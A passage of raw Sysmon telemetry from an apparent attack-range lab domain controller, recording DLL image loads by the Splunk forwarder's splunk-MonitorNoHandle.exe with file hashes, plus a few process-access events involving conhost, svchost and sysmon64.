Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.542{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.542{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.542{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.542{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.542{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.542{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.542{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000054798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000054786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000054783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-742E-613B-900B-00000000F001}2596C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000054778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:18.526{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 